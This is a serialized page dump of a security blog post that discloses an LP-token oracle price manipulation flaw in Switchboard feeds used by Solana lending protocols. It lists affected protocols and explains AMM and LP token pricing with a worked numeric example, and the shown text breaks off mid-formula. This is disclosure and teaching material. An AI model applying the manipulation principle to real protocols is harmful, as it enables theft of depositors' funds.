[{"data":1,"prerenderedAt":166831},["ShallowReactive",2],{"blog-/blog/2022-02-16-lp-token-oracle-manipulation":3,"featured-blog-posts":4163},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":10,"date":14,"isFeatured":6,"tags":15,"onBlogPage":17,"body":18,"_type":4157,"_id":4158,"_source":4159,"_file":4160,"_stem":4161,"_extension":4162},"/blog/2022-02-16-lp-token-oracle-manipulation","blog",false,"","The $200m Bluff: Cheating Oracles on Solana","How we fooled oracles to beat the house. An exploration into liquidity tokens and oracle price manipulation.",{"src":11,"height":12,"width":13},"/posts/leaky-liq/title.jpg",350,628,"2022-02-16",[16],"solana",true,{"type":19,"children":20,"toc":4144},"root",[21,29,34,154,168,175,180,187,192,197,211,220,225,231,236,248,253,612,617,809,814,819,824,965,970,975,1282,1287,1470,1475,1483,1488,1494,1499,1504,1518,1523,1693,1705,1711,1716,1721,1726,1731,1845,1850,1856,1861,1866,1901,1906,1911,1916,1922,1927,1932,1962,1967,1972,1978,1992,1997,2002,3959,3964,3970,3975,3989,3994,4138],{"type":22,"tag":23,"props":24,"children":25},"element","p",{},[26],{"type":27,"value":28},"text","We discovered a vulnerability in Switchboard's liquidity pool token price feeds which could hypothetically allow an attacker to manipulate the price of liquidity pool tokens and possibly steal lending protocol funds. This was reported to all affected lending protocols.",{"type":22,"tag":23,"props":30,"children":31},{},[32],{"type":27,"value":33},"At the time of reporting, the following protocols were identified at risk:",{"type":22,"tag":35,"props":36,"children":37},"table",{},[38,57],{"type":22,"tag":39,"props":40,"children":41},"thead",{},[42],{"type":22,"tag":43,"props":44,"children":45},"tr",{},[46,52],{"type":22,"tag":47,"props":48,"children":49},"th",{},[50],{"type":27,"value":51},"Protocol",{"type":22,"tag":47,"props":53,"children":54},{},[55],{"type":27,"value":56},"Value",{"type":22,"tag":58,"props":59,"children":60},"tbody",{},[61,82,100,118,136],{"type":22,"tag":43,"props":62,"children":63},{},[64,77],{"type":22,"tag":65,"props":66,"children":67},"td",{},[68],{"type":22,"tag":69,"props":70,"children":74},"a",{"href":71,"rel":72},"https://apricot.one/",[73],"nofollow",[75],{"type":27,"value":76},"Apricot",{"type":22,"tag":65,"props":78,"children":79},{},[80],{"type":27,"value":81},"$200m",{"type":22,"tag":43,"props":83,"children":84},{},[85,95],{"type":22,"tag":65,"props":86,"children":87},{},[88],{"type":22,"tag":69,"props":89,"children":92},{"href":90,"rel":91},"https://projectlarix.com/",[73],[93],{"type":27,"value":94},"Larix",{"type":22,"tag":65,"props":96,"children":97},{},[98],{"type":27,"value":99},"$150m",{"type":22,"tag":43,"props":101,"children":102},{},[103,113],{"type":22,"tag":65,"props":104,"children":105},{},[106],{"type":22,"tag":69,"props":107,"children":110},{"href":108,"rel":109},"https://port.finance/",[73],[111],{"type":27,"value":112},"Port",{"type":22,"tag":65,"props":114,"children":115},{},[116],{"type":27,"value":117},"$100m",{"type":22,"tag":43,"props":119,"children":120},{},[121,131],{"type":22,"tag":65,"props":122,"children":123},{},[124],{"type":22,"tag":69,"props":125,"children":128},{"href":126,"rel":127},"https://tulip.garden",[73],[129],{"type":27,"value":130},"Tulip",{"type":22,"tag":65,"props":132,"children":133},{},[134],{"type":27,"value":135},"$120m",{"type":22,"tag":43,"props":137,"children":138},{},[139,149],{"type":22,"tag":65,"props":140,"children":141},{},[142],{"type":22,"tag":69,"props":143,"children":146},{"href":144,"rel":145},"https://parrot.fi/",[73],[147],{"type":27,"value":148},"Parrot.fi",{"type":22,"tag":65,"props":150,"children":151},{},[152],{"type":27,"value":153},"$2m",{"type":22,"tag":23,"props":155,"children":156},{},[157,159,166],{"type":27,"value":158},"We would also like to thank ",{"type":22,"tag":69,"props":160,"children":163},{"href":161,"rel":162},"https://twitter.com/nojob_capital",[73],[164],{"type":27,"value":165},"nojob",{"type":27,"value":167}," for his contributions with the fair pricing of liquidity pool tokens.",{"type":22,"tag":169,"props":170,"children":172},"h2",{"id":171},"background",[173],{"type":27,"value":174},"Background",{"type":22,"tag":23,"props":176,"children":177},{},[178],{"type":27,"value":179},"We'll first cover some relevant background concepts.",{"type":22,"tag":181,"props":182,"children":184},"h3",{"id":183},"amms",[185],{"type":27,"value":186},"AMMs",{"type":22,"tag":23,"props":188,"children":189},{},[190],{"type":27,"value":191},"AMMs or automated market makers on Solana are an onchain program allowing users to swap between two tokens, for example, SOL and USDC. This process is automated, and the program helps \"make the market\" by always allowing token swaps, hence the name automated market maker.",{"type":22,"tag":23,"props":193,"children":194},{},[195],{"type":27,"value":196},"AMMs have their own token accounts which they use in the token swap. The price, or amount of one token you can get for another, is solely defined by the token account amounts.",{"type":22,"tag":23,"props":198,"children":199},{},[200,202,209],{"type":27,"value":201},"This relationship can be modeled as a curve, where swapping tokens moves the price along the curve. For example, see this graph from the ",{"type":22,"tag":69,"props":203,"children":206},{"href":204,"rel":205},"https://curve.fi/files/stableswap-paper.pdf",[73],[207],{"type":27,"value":208},"Stable Swap whitepaper",{"type":27,"value":210},".",{"type":22,"tag":23,"props":212,"children":213},{},[214],{"type":22,"tag":215,"props":216,"children":219},"img",{"alt":217,"src":218},"Swap graphs","/posts/leaky-liq/swaps.png",[],{"type":22,"tag":23,"props":221,"children":222},{},[223],{"type":27,"value":224},"In this post, we'll by using constant product AMMs as our examples, but this vulnerability would apply to any AMM type.",{"type":22,"tag":181,"props":226,"children":228},{"id":227},"liquidity-pool-tokens",[229],{"type":27,"value":230},"Liquidity Pool Tokens",{"type":22,"tag":23,"props":232,"children":233},{},[234],{"type":27,"value":235},"In order to function, AMMs need to maintain pools of the two respective assets. Users can deposit these assets into the AMM, a process known as providing liquidity, in exchange for rewards. In exchange for providing liquidity to an AMM, users are given liquidity pool tokens. These liquidity pool tokens can then later be redeemed for the original deposited assets.",{"type":22,"tag":23,"props":237,"children":238},{},[239,241,247],{"type":27,"value":240},"An important thing to note is that the price of a liquidity pool token ",{"type":22,"tag":242,"props":243,"children":244},"strong",{},[245],{"type":27,"value":246},"is not constant",{"type":27,"value":210},{"type":22,"tag":23,"props":249,"children":250},{},[251],{"type":27,"value":252},"Consider the following scenario. Our SOL-USDC constant product AMM has 1500 USDC and 10 SOL deposited, with 10 LP tokens minted. This means each LP token can be redeemed for 150 USDC and 1 SOL.",{"type":22,"tag":23,"props":254,"children":255},{},[256],{"type":22,"tag":257,"props":258,"children":262},"code",{"className":259},[260,261],"language-math","math-inline",[263],{"type":22,"tag":264,"props":265,"children":268},"span",{"className":266},[267],"katex",[269],{"type":22,"tag":264,"props":270,"children":274},{"className":271,"ariaHidden":273},[272],"katex-html","true",[275,434,458,463,589],{"type":22,"tag":264,"props":276,"children":279},{"className":277},[278],"base",[280,286,417,423,430],{"type":22,"tag":264,"props":281,"children":285},{"className":282,"style":284},[283],"strut","height:1.2173em;vertical-align:-0.345em;",[],{"type":22,"tag":264,"props":287,"children":290},{"className":288},[289],"mord",[291,297,412],{"type":22,"tag":264,"props":292,"children":296},{"className":293},[294,295],"mopen","nulldelimiter",[],{"type":22,"tag":264,"props":298,"children":301},{"className":299},[300],"mfrac",[302],{"type":22,"tag":264,"props":303,"children":307},{"className":304},[305,306],"vlist-t","vlist-t2",[308,400],{"type":22,"tag":264,"props":309,"children":312},{"className":310},[311],"vlist-r",[313,393],{"type":22,"tag":264,"props":314,"children":318},{"className":315,"style":317},[316],"vlist","height:0.8723em;",[319,347,361],{"type":22,"tag":264,"props":320,"children":322},{"style":321},"top:-2.655em;",[323,329],{"type":22,"tag":264,"props":324,"children":328},{"className":325,"style":327},[326],"pstrut","height:3em;",[],{"type":22,"tag":264,"props":330,"children":336},{"className":331},[332,333,334,335],"sizing","reset-size6","size3","mtight",[337],{"type":22,"tag":264,"props":338,"children":340},{"className":339},[289,335],[341],{"type":22,"tag":264,"props":342,"children":344},{"className":343},[289,335],[345],{"type":27,"value":346},"10",{"type":22,"tag":264,"props":348,"children":350},{"style":349},"top:-3.23em;",[351,355],{"type":22,"tag":264,"props":352,"children":354},{"className":353,"style":327},[326],[],{"type":22,"tag":264,"props":356,"children":360},{"className":357,"style":359},[358],"frac-line","border-bottom-width:0.04em;",[],{"type":22,"tag":264,"props":362,"children":364},{"style":363},"top:-3.394em;",[365,369],{"type":22,"tag":264,"props":366,"children":368},{"className":367,"style":327},[326],[],{"type":22,"tag":264,"props":370,"children":372},{"className":371},[332,333,334,335],[373],{"type":22,"tag":264,"props":374,"children":376},{"className":375},[289,335],[377,383],{"type":22,"tag":264,"props":378,"children":380},{"className":379},[289,335],[381],{"type":27,"value":382},"1500",{"type":22,"tag":264,"props":384,"children":386},{"className":385},[289,27,335],[387],{"type":22,"tag":264,"props":388,"children":390},{"className":389},[289,335],[391],{"type":27,"value":392}," USDC",{"type":22,"tag":264,"props":394,"children":397},{"className":395},[396],"vlist-s",[398],{"type":27,"value":399},"​",{"type":22,"tag":264,"props":401,"children":403},{"className":402},[311],[404],{"type":22,"tag":264,"props":405,"children":408},{"className":406,"style":407},[316],"height:0.345em;",[409],{"type":22,"tag":264,"props":410,"children":411},{},[],{"type":22,"tag":264,"props":413,"children":416},{"className":414},[415,295],"mclose",[],{"type":22,"tag":264,"props":418,"children":422},{"className":419,"style":421},[420],"mspace","margin-right:0.2778em;",[],{"type":22,"tag":264,"props":424,"children":427},{"className":425},[426],"mrel",[428],{"type":27,"value":429},"=",{"type":22,"tag":264,"props":431,"children":433},{"className":432,"style":421},[420],[],{"type":22,"tag":264,"props":435,"children":437},{"className":436},[278],[438,443,449],{"type":22,"tag":264,"props":439,"children":442},{"className":440,"style":441},[283],"height:0.6833em;",[],{"type":22,"tag":264,"props":444,"children":446},{"className":445},[289],[447],{"type":27,"value":448},"150",{"type":22,"tag":264,"props":450,"children":452},{"className":451},[289,27],[453],{"type":22,"tag":264,"props":454,"children":456},{"className":455},[289],[457],{"type":27,"value":392},{"type":22,"tag":264,"props":459,"children":462},{"className":460},[420,461],"newline",[],{"type":22,"tag":264,"props":464,"children":466},{"className":465},[278],[467,471,576,580,585],{"type":22,"tag":264,"props":468,"children":470},{"className":469,"style":284},[283],[],{"type":22,"tag":264,"props":472,"children":474},{"className":473},[289],[475,479,572],{"type":22,"tag":264,"props":476,"children":478},{"className":477},[294,295],[],{"type":22,"tag":264,"props":480,"children":482},{"className":481},[300],[483],{"type":22,"tag":264,"props":484,"children":486},{"className":485},[305,306],[487,561],{"type":22,"tag":264,"props":488,"children":490},{"className":489},[311],[491,556],{"type":22,"tag":264,"props":492,"children":494},{"className":493,"style":317},[316],[495,515,526],{"type":22,"tag":264,"props":496,"children":497},{"style":321},[498,502],{"type":22,"tag":264,"props":499,"children":501},{"className":500,"style":327},[326],[],{"type":22,"tag":264,"props":503,"children":505},{"className":504},[332,333,334,335],[506],{"type":22,"tag":264,"props":507,"children":509},{"className":508},[289,335],[510],{"type":22,"tag":264,"props":511,"children":513},{"className":512},[289,335],[514],{"type":27,"value":346},{"type":22,"tag":264,"props":516,"children":517},{"style":349},[518,522],{"type":22,"tag":264,"props":519,"children":521},{"className":520,"style":327},[326],[],{"type":22,"tag":264,"props":523,"children":525},{"className":524,"style":359},[358],[],{"type":22,"tag":264,"props":527,"children":528},{"style":363},[529,533],{"type":22,"tag":264,"props":530,"children":532},{"className":531,"style":327},[326],[],{"type":22,"tag":264,"props":534,"children":536},{"className":535},[332,333,334,335],[537],{"type":22,"tag":264,"props":538,"children":540},{"className":539},[289,335],[541,546],{"type":22,"tag":264,"props":542,"children":544},{"className":543},[289,335],[545],{"type":27,"value":346},{"type":22,"tag":264,"props":547,"children":549},{"className":548},[289,27,335],[550],{"type":22,"tag":264,"props":551,"children":553},{"className":552},[289,335],[554],{"type":27,"value":555}," SOL",{"type":22,"tag":264,"props":557,"children":559},{"className":558},[396],[560],{"type":27,"value":399},{"type":22,"tag":264,"props":562,"children":564},{"className":563},[311],[565],{"type":22,"tag":264,"props":566,"children":568},{"className":567,"style":407},[316],[569],{"type":22,"tag":264,"props":570,"children":571},{},[],{"type":22,"tag":264,"props":573,"children":575},{"className":574},[415,295],[],{"type":22,"tag":264,"props":577,"children":579},{"className":578,"style":421},[420],[],{"type":22,"tag":264,"props":581,"children":583},{"className":582},[426],[584],{"type":27,"value":429},{"type":22,"tag":264,"props":586,"children":588},{"className":587,"style":421},[420],[],{"type":22,"tag":264,"props":590,"children":592},{"className":591},[278],[593,597,603],{"type":22,"tag":264,"props":594,"children":596},{"className":595,"style":441},[283],[],{"type":22,"tag":264,"props":598,"children":600},{"className":599},[289],[601],{"type":27,"value":602},"1",{"type":22,"tag":264,"props":604,"children":606},{"className":605},[289,27],[607],{"type":22,"tag":264,"props":608,"children":610},{"className":609},[289],[611],{"type":27,"value":555},{"type":22,"tag":23,"props":613,"children":614},{},[615],{"type":27,"value":616},"Assuming the price of SOL is $150, the oracle would then calculate that each LP token can be redeemed for",{"type":22,"tag":618,"props":619,"children":620},"pre",{},[621],{"type":22,"tag":257,"props":622,"children":625},{"className":623},[260,624],"math-display",[626],{"type":22,"tag":264,"props":627,"children":630},{"className":628},[629],"katex-display",[631],{"type":22,"tag":264,"props":632,"children":634},{"className":633},[267],[635],{"type":22,"tag":264,"props":636,"children":638},{"className":637,"ariaHidden":273},[272],[639,678,713,750,786],{"type":22,"tag":264,"props":640,"children":642},{"className":641},[278],[643,648,653,662,667,674],{"type":22,"tag":264,"props":644,"children":647},{"className":645,"style":646},[283],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":649,"children":651},{"className":650},[289],[652],{"type":27,"value":448},{"type":22,"tag":264,"props":654,"children":656},{"className":655},[289,27],[657],{"type":22,"tag":264,"props":658,"children":660},{"className":659},[289],[661],{"type":27,"value":392},{"type":22,"tag":264,"props":663,"children":666},{"className":664,"style":665},[420],"margin-right:0.2222em;",[],{"type":22,"tag":264,"props":668,"children":671},{"className":669},[670],"mbin",[672],{"type":27,"value":673},"+",{"type":22,"tag":264,"props":675,"children":677},{"className":676,"style":665},[420],[],{"type":22,"tag":264,"props":679,"children":681},{"className":680},[278],[682,686,691,700,704,709],{"type":22,"tag":264,"props":683,"children":685},{"className":684,"style":441},[283],[],{"type":22,"tag":264,"props":687,"children":689},{"className":688},[289],[690],{"type":27,"value":602},{"type":22,"tag":264,"props":692,"children":694},{"className":693},[289,27],[695],{"type":22,"tag":264,"props":696,"children":698},{"className":697},[289],[699],{"type":27,"value":555},{"type":22,"tag":264,"props":701,"children":703},{"className":702,"style":421},[420],[],{"type":22,"tag":264,"props":705,"children":707},{"className":706},[426],[708],{"type":27,"value":429},{"type":22,"tag":264,"props":710,"children":712},{"className":711,"style":421},[420],[],{"type":22,"tag":264,"props":714,"children":716},{"className":715},[278],[717,722,732,737,741,746],{"type":22,"tag":264,"props":718,"children":721},{"className":719,"style":720},[283],"height:0.8333em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":723,"children":725},{"className":724},[289,27],[726],{"type":22,"tag":264,"props":727,"children":729},{"className":728},[289],[730],{"type":27,"value":731},"$",{"type":22,"tag":264,"props":733,"children":735},{"className":734},[289],[736],{"type":27,"value":448},{"type":22,"tag":264,"props":738,"children":740},{"className":739,"style":665},[420],[],{"type":22,"tag":264,"props":742,"children":744},{"className":743},[670],[745],{"type":27,"value":673},{"type":22,"tag":264,"props":747,"children":749},{"className":748,"style":665},[420],[],{"type":22,"tag":264,"props":751,"children":753},{"className":752},[278],[754,759,768,773,777,782],{"type":22,"tag":264,"props":755,"children":758},{"className":756,"style":757},[283],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":22,"tag":264,"props":760,"children":762},{"className":761},[289,27],[763],{"type":22,"tag":264,"props":764,"children":766},{"className":765},[289],[767],{"type":27,"value":731},{"type":22,"tag":264,"props":769,"children":771},{"className":770},[289],[772],{"type":27,"value":448},{"type":22,"tag":264,"props":774,"children":776},{"className":775,"style":421},[420],[],{"type":22,"tag":264,"props":778,"children":780},{"className":779},[426],[781],{"type":27,"value":429},{"type":22,"tag":264,"props":783,"children":785},{"className":784,"style":421},[420],[],{"type":22,"tag":264,"props":787,"children":789},{"className":788},[278],[790,794,803],{"type":22,"tag":264,"props":791,"children":793},{"className":792,"style":757},[283],[],{"type":22,"tag":264,"props":795,"children":797},{"className":796},[289,27],[798],{"type":22,"tag":264,"props":799,"children":801},{"className":800},[289],[802],{"type":27,"value":731},{"type":22,"tag":264,"props":804,"children":806},{"className":805},[289],[807],{"type":27,"value":808},"300",{"type":22,"tag":23,"props":810,"children":811},{},[812],{"type":27,"value":813},"For a constant product AMM, a normal swap of 1 SOL for USDC would then return approximately 150 USDC.",{"type":22,"tag":23,"props":815,"children":816},{},[817],{"type":27,"value":818},"However, if someone swaps in 1500 USDC worth of SOL, the AMM will have 3000 USDC and 5 SOL, because they drove up the price of SOL in this pool.",{"type":22,"tag":23,"props":820,"children":821},{},[822],{"type":27,"value":823},"It's easy to confirm that this maintains the constant product invariant.",{"type":22,"tag":618,"props":825,"children":826},{},[827],{"type":22,"tag":257,"props":828,"children":830},{"className":829},[260,624],[831],{"type":22,"tag":264,"props":832,"children":834},{"className":833},[629],[835],{"type":22,"tag":264,"props":836,"children":838},{"className":837},[267],[839],{"type":22,"tag":264,"props":840,"children":842},{"className":841,"ariaHidden":273},[272],[843,872,899,926,952],{"type":22,"tag":264,"props":844,"children":846},{"className":845},[278],[847,852,858,862,868],{"type":22,"tag":264,"props":848,"children":851},{"className":849,"style":850},[283],"height:0.6444em;",[],{"type":22,"tag":264,"props":853,"children":855},{"className":854},[289],[856],{"type":27,"value":857},"3000",{"type":22,"tag":264,"props":859,"children":861},{"className":860,"style":665},[420],[],{"type":22,"tag":264,"props":863,"children":865},{"className":864},[670],[866],{"type":27,"value":867},"∗",{"type":22,"tag":264,"props":869,"children":871},{"className":870,"style":665},[420],[],{"type":22,"tag":264,"props":873,"children":875},{"className":874},[278],[876,880,886,890,895],{"type":22,"tag":264,"props":877,"children":879},{"className":878,"style":850},[283],[],{"type":22,"tag":264,"props":881,"children":883},{"className":882},[289],[884],{"type":27,"value":885},"5",{"type":22,"tag":264,"props":887,"children":889},{"className":888,"style":421},[420],[],{"type":22,"tag":264,"props":891,"children":893},{"className":892},[426],[894],{"type":27,"value":429},{"type":22,"tag":264,"props":896,"children":898},{"className":897,"style":421},[420],[],{"type":22,"tag":264,"props":900,"children":902},{"className":901},[278],[903,907,913,917,922],{"type":22,"tag":264,"props":904,"children":906},{"className":905,"style":850},[283],[],{"type":22,"tag":264,"props":908,"children":910},{"className":909},[289],[911],{"type":27,"value":912},"15000",{"type":22,"tag":264,"props":914,"children":916},{"className":915,"style":421},[420],[],{"type":22,"tag":264,"props":918,"children":920},{"className":919},[426],[921],{"type":27,"value":429},{"type":22,"tag":264,"props":923,"children":925},{"className":924,"style":421},[420],[],{"type":22,"tag":264,"props":927,"children":929},{"className":928},[278],[930,934,939,943,948],{"type":22,"tag":264,"props":931,"children":933},{"className":932,"style":850},[283],[],{"type":22,"tag":264,"props":935,"children":937},{"className":936},[289],[938],{"type":27,"value":382},{"type":22,"tag":264,"props":940,"children":942},{"className":941,"style":665},[420],[],{"type":22,"tag":264,"props":944,"children":946},{"className":945},[670],[947],{"type":27,"value":867},{"type":22,"tag":264,"props":949,"children":951},{"className":950,"style":665},[420],[],{"type":22,"tag":264,"props":953,"children":955},{"className":954},[278],[956,960],{"type":22,"tag":264,"props":957,"children":959},{"className":958,"style":850},[283],[],{"type":22,"tag":264,"props":961,"children":963},{"className":962},[289],[964],{"type":27,"value":346},{"type":22,"tag":23,"props":966,"children":967},{},[968],{"type":27,"value":969},"Let's calculate the value of a single LP token now. For simplicity, let's assume that the AMM doesn't take any fees.",{"type":22,"tag":23,"props":971,"children":972},{},[973],{"type":27,"value":974},"Similar to the math previously, each LP token can now be redeemed for",{"type":22,"tag":618,"props":976,"children":977},{},[978],{"type":22,"tag":257,"props":979,"children":981},{"className":980},[260,624],[982],{"type":22,"tag":264,"props":983,"children":985},{"className":984},[629],[986],{"type":22,"tag":264,"props":987,"children":989},{"className":988},[267],[990],{"type":22,"tag":264,"props":991,"children":993},{"className":992,"ariaHidden":273},[272],[994,1116,1138,1142,1259],{"type":22,"tag":264,"props":995,"children":997},{"className":996},[278],[998,1003,1103,1107,1112],{"type":22,"tag":264,"props":999,"children":1002},{"className":1000,"style":1001},[283],"height:2.0463em;vertical-align:-0.686em;",[],{"type":22,"tag":264,"props":1004,"children":1006},{"className":1005},[289],[1007,1011,1099],{"type":22,"tag":264,"props":1008,"children":1010},{"className":1009},[294,295],[],{"type":22,"tag":264,"props":1012,"children":1014},{"className":1013},[300],[1015],{"type":22,"tag":264,"props":1016,"children":1018},{"className":1017},[305,306],[1019,1087],{"type":22,"tag":264,"props":1020,"children":1022},{"className":1021},[311],[1023,1082],{"type":22,"tag":264,"props":1024,"children":1027},{"className":1025,"style":1026},[316],"height:1.3603em;",[1028,1045,1056],{"type":22,"tag":264,"props":1029,"children":1031},{"style":1030},"top:-2.314em;",[1032,1036],{"type":22,"tag":264,"props":1033,"children":1035},{"className":1034,"style":327},[326],[],{"type":22,"tag":264,"props":1037,"children":1039},{"className":1038},[289],[1040],{"type":22,"tag":264,"props":1041,"children":1043},{"className":1042},[289],[1044],{"type":27,"value":346},{"type":22,"tag":264,"props":1046,"children":1047},{"style":349},[1048,1052],{"type":22,"tag":264,"props":1049,"children":1051},{"className":1050,"style":327},[326],[],{"type":22,"tag":264,"props":1053,"children":1055},{"className":1054,"style":359},[358],[],{"type":22,"tag":264,"props":1057,"children":1059},{"style":1058},"top:-3.677em;",[1060,1064],{"type":22,"tag":264,"props":1061,"children":1063},{"className":1062,"style":327},[326],[],{"type":22,"tag":264,"props":1065,"children":1067},{"className":1066},[289],[1068,1073],{"type":22,"tag":264,"props":1069,"children":1071},{"className":1070},[289],[1072],{"type":27,"value":857},{"type":22,"tag":264,"props":1074,"children":1076},{"className":1075},[289,27],[1077],{"type":22,"tag":264,"props":1078,"children":1080},{"className":1079},[289],[1081],{"type":27,"value":392},{"type":22,"tag":264,"props":1083,"children":1085},{"className":1084},[396],[1086],{"type":27,"value":399},{"type":22,"tag":264,"props":1088,"children":1090},{"className":1089},[311],[1091],{"type":22,"tag":264,"props":1092,"children":1095},{"className":1093,"style":1094},[316],"height:0.686em;",[1096],{"type":22,"tag":264,"props":1097,"children":1098},{},[],{"type":22,"tag":264,"props":1100,"children":1102},{"className":1101},[415,295],[],{"type":22,"tag":264,"props":1104,"children":1106},{"className":1105,"style":421},[420],[],{"type":22,"tag":264,"props":1108,"children":1110},{"className":1109},[426],[1111],{"type":27,"value":429},{"type":22,"tag":264,"props":1113,"children":1115},{"className":1114,"style":421},[420],[],{"type":22,"tag":264,"props":1117,"children":1119},{"className":1118},[278],[1120,1124,1129],{"type":22,"tag":264,"props":1121,"children":1123},{"className":1122,"style":441},[283],[],{"type":22,"tag":264,"props":1125,"children":1127},{"className":1126},[289],[1128],{"type":27,"value":808},{"type":22,"tag":264,"props":1130,"children":1132},{"className":1131},[289,27],[1133],{"type":22,"tag":264,"props":1134,"children":1136},{"className":1135},[289],[1137],{"type":27,"value":392},{"type":22,"tag":264,"props":1139,"children":1141},{"className":1140},[420,461],[],{"type":22,"tag":264,"props":1143,"children":1145},{"className":1144},[278],[1146,1150,1246,1250,1255],{"type":22,"tag":264,"props":1147,"children":1149},{"className":1148,"style":1001},[283],[],{"type":22,"tag":264,"props":1151,"children":1153},{"className":1152},[289],[1154,1158,1242],{"type":22,"tag":264,"props":1155,"children":1157},{"className":1156},[294,295],[],{"type":22,"tag":264,"props":1159,"children":1161},{"className":1160},[300],[1162],{"type":22,"tag":264,"props":1163,"children":1165},{"className":1164},[305,306],[1166,1231],{"type":22,"tag":264,"props":1167,"children":1169},{"className":1168},[311],[1170,1226],{"type":22,"tag":264,"props":1171,"children":1173},{"className":1172,"style":1026},[316],[1174,1190,1201],{"type":22,"tag":264,"props":1175,"children":1176},{"style":1030},[1177,1181],{"type":22,"tag":264,"props":1178,"children":1180},{"className":1179,"style":327},[326],[],{"type":22,"tag":264,"props":1182,"children":1184},{"className":1183},[289],[1185],{"type":22,"tag":264,"props":1186,"children":1188},{"className":1187},[289],[1189],{"type":27,"value":346},{"type":22,"tag":264,"props":1191,"children":1192},{"style":349},[1193,1197],{"type":22,"tag":264,"props":1194,"children":1196},{"className":1195,"style":327},[326],[],{"type":22,"tag":264,"props":1198,"children":1200},{"className":1199,"style":359},[358],[],{"type":22,"tag":264,"props":1202,"children":1203},{"style":1058},[1204,1208],{"type":22,"tag":264,"props":1205,"children":1207},{"className":1206,"style":327},[326],[],{"type":22,"tag":264,"props":1209,"children":1211},{"className":1210},[289],[1212,1217],{"type":22,"tag":264,"props":1213,"children":1215},{"className":1214},[289],[1216],{"type":27,"value":885},{"type":22,"tag":264,"props":1218,"children":1220},{"className":1219},[289,27],[1221],{"type":22,"tag":264,"props":1222,"children":1224},{"className":1223},[289],[1225],{"type":27,"value":555},{"type":22,"tag":264,"props":1227,"children":1229},{"className":1228},[396],[1230],{"type":27,"value":399},{"type":22,"tag":264,"props":1232,"children":1234},{"className":1233},[311],[1235],{"type":22,"tag":264,"props":1236,"children":1238},{"className":1237,"style":1094},[316],[1239],{"type":22,"tag":264,"props":1240,"children":1241},{},[],{"type":22,"tag":264,"props":1243,"children":1245},{"className":1244},[415,295],[],{"type":22,"tag":264,"props":1247,"children":1249},{"className":1248,"style":421},[420],[],{"type":22,"tag":264,"props":1251,"children":1253},{"className":1252},[426],[1254],{"type":27,"value":429},{"type":22,"tag":264,"props":1256,"children":1258},{"className":1257,"style":421},[420],[],{"type":22,"tag":264,"props":1260,"children":1262},{"className":1261},[278],[1263,1267,1273],{"type":22,"tag":264,"props":1264,"children":1266},{"className":1265,"style":441},[283],[],{"type":22,"tag":264,"props":1268,"children":1270},{"className":1269},[289],[1271],{"type":27,"value":1272},"0.5",{"type":22,"tag":264,"props":1274,"children":1276},{"className":1275},[289,27],[1277],{"type":22,"tag":264,"props":1278,"children":1280},{"className":1279},[289],[1281],{"type":27,"value":555},{"type":22,"tag":23,"props":1283,"children":1284},{},[1285],{"type":27,"value":1286},"The value of the LP token is now",{"type":22,"tag":618,"props":1288,"children":1289},{},[1290],{"type":22,"tag":257,"props":1291,"children":1293},{"className":1292},[260,624],[1294],{"type":22,"tag":264,"props":1295,"children":1297},{"className":1296},[629],[1298],{"type":22,"tag":264,"props":1299,"children":1301},{"className":1300},[267],[1302],{"type":22,"tag":264,"props":1303,"children":1305},{"className":1304,"ariaHidden":273},[272],[1306,1341,1376,1411,1447],{"type":22,"tag":264,"props":1307,"children":1309},{"className":1308},[278],[1310,1314,1319,1328,1332,1337],{"type":22,"tag":264,"props":1311,"children":1313},{"className":1312,"style":646},[283],[],{"type":22,"tag":264,"props":1315,"children":1317},{"className":1316},[289],[1318],{"type":27,"value":808},{"type":22,"tag":264,"props":1320,"children":1322},{"className":1321},[289,27],[1323],{"type":22,"tag":264,"props":1324,"children":1326},{"className":1325},[289],[1327],{"type":27,"value":392},{"type":22,"tag":264,"props":1329,"children":1331},{"className":1330,"style":665},[420],[],{"type":22,"tag":264,"props":1333,"children":1335},{"className":1334},[670],[1336],{"type":27,"value":673},{"type":22,"tag":264,"props":1338,"children":1340},{"className":1339,"style":665},[420],[],{"type":22,"tag":264,"props":1342,"children":1344},{"className":1343},[278],[1345,1349,1354,1363,1367,1372],{"type":22,"tag":264,"props":1346,"children":1348},{"className":1347,"style":441},[283],[],{"type":22,"tag":264,"props":1350,"children":1352},{"className":1351},[289],[1353],{"type":27,"value":1272},{"type":22,"tag":264,"props":1355,"children":1357},{"className":1356},[289,27],[1358],{"type":22,"tag":264,"props":1359,"children":1361},{"className":1360},[289],[1362],{"type":27,"value":555},{"type":22,"tag":264,"props":1364,"children":1366},{"className":1365,"style":421},[420],[],{"type":22,"tag":264,"props":1368,"children":1370},{"className":1369},[426],[1371],{"type":27,"value":429},{"type":22,"tag":264,"props":1373,"children":1375},{"className":1374,"style":421},[420],[],{"type":22,"tag":264,"props":1377,"children":1379},{"className":1378},[278],[1380,1384,1393,1398,1402,1407],{"type":22,"tag":264,"props":1381,"children":1383},{"className":1382,"style":720},[283],[],{"type":22,"tag":264,"props":1385,"children":1387},{"className":1386},[289,27],[1388],{"type":22,"tag":264,"props":1389,"children":1391},{"className":1390},[289],[1392],{"type":27,"value":731},{"type":22,"tag":264,"props":1394,"children":1396},{"className":1395},[289],[1397],{"type":27,"value":808},{"type":22,"tag":264,"props":1399,"children":1401},{"className":1400,"style":665},[420],[],{"type":22,"tag":264,"props":1403,"children":1405},{"className":1404},[670],[1406],{"type":27,"value":673},{"type":22,"tag":264,"props":1408,"children":1410},{"className":1409,"style":665},[420],[],{"type":22,"tag":264,"props":1412,"children":1414},{"className":1413},[278],[1415,1419,1428,1434,1438,1443],{"type":22,"tag":264,"props":1416,"children":1418},{"className":1417,"style":757},[283],[],{"type":22,"tag":264,"props":1420,"children":1422},{"className":1421},[289,27],[1423],{"type":22,"tag":264,"props":1424,"children":1426},{"className":1425},[289],[1427],{"type":27,"value":731},{"type":22,"tag":264,"props":1429,"children":1431},{"className":1430},[289],[1432],{"type":27,"value":1433},"75",{"type":22,"tag":264,"props":1435,"children":1437},{"className":1436,"style":421},[420],[],{"type":22,"tag":264,"props":1439,"children":1441},{"className":1440},[426],[1442],{"type":27,"value":429},{"type":22,"tag":264,"props":1444,"children":1446},{"className":1445,"style":421},[420],[],{"type":22,"tag":264,"props":1448,"children":1450},{"className":1449},[278],[1451,1455,1464],{"type":22,"tag":264,"props":1452,"children":1454},{"className":1453,"style":757},[283],[],{"type":22,"tag":264,"props":1456,"children":1458},{"className":1457},[289,